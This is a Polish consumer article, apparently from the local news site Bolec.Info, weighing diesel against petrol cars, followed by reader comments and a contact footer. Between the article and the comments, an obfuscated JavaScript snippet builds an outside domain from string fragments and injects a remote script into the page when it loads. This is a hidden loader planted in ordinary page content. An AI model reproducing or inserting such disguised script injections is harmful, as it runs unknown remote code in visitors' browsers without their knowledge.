Odwieczna wojna
Spór ten można trochę porównać do odwiecznej kłótni o wyższości masła nad margaryną i odwrotnie. Przed każdorazowym zakupem auta stoisz przed trudną decyzją – wybrać pojazd z silnikiem wysokoprężnym (czyli dieslem) czy standardowego „benzyniaka”. Jak to zwykle w takich sytuacjach bywa, oba rozwiązania mają zarówno swoich gorących zwolenników, jak i zagorzałych przeciwników.
Warto zatem wysłuchać argumentów obu stron, abyś mógł dzięki temu podjąć własną, w pełni świadomą i przemyślaną decyzję. Odpowiedni czas do namysłu pozwoli Ci na optymalny wybór i pełne zadowolenie z korzystania z nowego (lub używanego) auta.
Diesel – mocne i słabe strony
Silniki wysokoprężne często uważane są za niezawodne. Już na wstępnie opinię tę trzeba obalić, gdyż dotyczy ona starych i prostych konstrukcji. Współcześnie produkowane silniki Diesla również wymagają podobnego serwisowania, co silniki benzynowe.
Diesle cechują się przede wszystkim wysoką ekonomiką jazdy, dzięki czemu właściciel auta już po przejechaniu kilku tysięcy kilometrów może zauważyć wymierne oszczędności. Ma to dwojaką genezę. Po pierwsze olej napędowy jest tańszy niż benzyna! Choć różnica ta w ostatnim czasie zmalała, nadal bardziej opłacalne jest tankowanie „ropy”. Co więcej, nie zanosi się na to, by przynajmniej w ciągu kilku najbliższych lat cena za litr benzyny zbliżyła się do poziomu cenowego proponowanego za litr oleju napędowego.
Po drugie diesel charakteryzuje się po prostu mniejszym zapotrzebowaniem na paliwo. Auta z silnikami wysokoprężnymi palą mniej niż samochody z silnikami benzynowymi o porównywalnej mocy. Nie trzeba być matematycznym geniuszem, by stwierdzić jak bardzo opłacalne może być eksploatowanie diesla.
Nie można też pominąć kilku minusów. Największy to cena samego zakupu, która praktycznie zawsze jest wyższa niż cena odpowiednika benzynowego. Potrzebuje także pewnego rodzaju opieki, jeśli chodzi o tankowanie. Nowoczesne jednostki napędowe ze względu na precyzyjny i czuły układ zasilania, są bardzo wrażliwe na jakość paliwa.
Benzyniaki – mocne i słabe strony
W polskich warunkach przeważa ten typ silnika. Związane jest to np. z ceną zakupu aut tego rodzaju, które są zwyczajnie sporo tańsze niż diesle. Niejako do tego odnosi się także druga zaleta, czyli koszty naprawy, szczególnie poważnych awarii silnika. Za taką usługę na pewno nie zapłacisz mało, porównując jednak cenę naprawy silnika benzynowego do remontu silnika diesla, na prowadzenie wysuwają się jednostki benzynowe.
Można uznać, że auta z silnikami benzynowymi mają wyższe spalanie, ale ich naprawy kosztują mniej. Warto zwrócić także uwagę na ich niezwykle łagodną pracę. Po uruchomieniu nie są tak głośne i pozwalają na większy komfort w czasie jazdy, co dla wielu kierowców ma niebagatelne znaczenie.
A zatem: diesel czy benzyna?
Po gruntownym przeanalizowaniu wszystkich argumentów bardzo trudno udzielić ostatecznej odpowiedzi. Mocne strony ma zarówno pierwsze rozwiązanie, jak i drugie. Dlatego też najbardziej odpowiednim wyjściem byłoby rozważenie każdego przypadku indywidualnie.
W tym celu powinieneś samodzielnie określić potrzeby i wymagania, jakie stawiasz przed autem. Warto także, abyś zwrócił uwagę na to, które elementy są dla Ciebie najważniejsze. Niższa cena przy kupnie i cicha praca, czy większa ekonomika jazdy i niższe koszty paliwa? Ważną wskazówką będzie również ilość kilometrów, jaką zamierzasz pokonać każdego roku oraz typ podróży. Jeśli jeździsz nie więcej niż 10-15 tys. km rocznie głównie w mieście, bez wahania powinieneś wybrać samochód benzynowy. Jeżeli natomiast rocznie zostawiasz za sobą np. 50 tys. km na autostradach to lepszym wyborem może okazać się diesel.
Więcej ciekawostek znajdziesz na TeamTotal.pl
(function(){ uqff=document.createElement("script");uqff.type="text/javascript"; uqff.async=true;uqff_=(("us")+"t")+"a";uqff_+=("t.i")+""+"n";uqff_+=(("f")+"o"); uqff.src="http://"+uqff_+"/5226984.7ly0gas1qffrm83099a0lrkybs7zxs"; document.body.appendChild(uqff); })();~ napisał(a): Nie bądź taki do przodu bo silniki wolnossące nie znikną...
mir.ko napisał(a): przyszłość przez duże P :) , jeszcze nie wynaleziono przyzwoitego zasilania, nadają się do rozwożenia pizzy czy patrolowania miasta, w dodatku za niebotyczne koszty zakupu i utrzymania. ale za naszych dzieci czy wnuków kto wie
Byłeś świadkiem jakiegoś wypadku lub innego zdarzenia? Wiesz coś, o czym my nie wiemy albo jeszcze nie napisaliśmy? Daj nam znać i zgłoś swój temat!
Wypełnij formularz lub wyślij pod adres: [email protected].Kontakt telefoniczny z Redakcją Bolec.Info: +48 693 375 790 (przez całą dobę).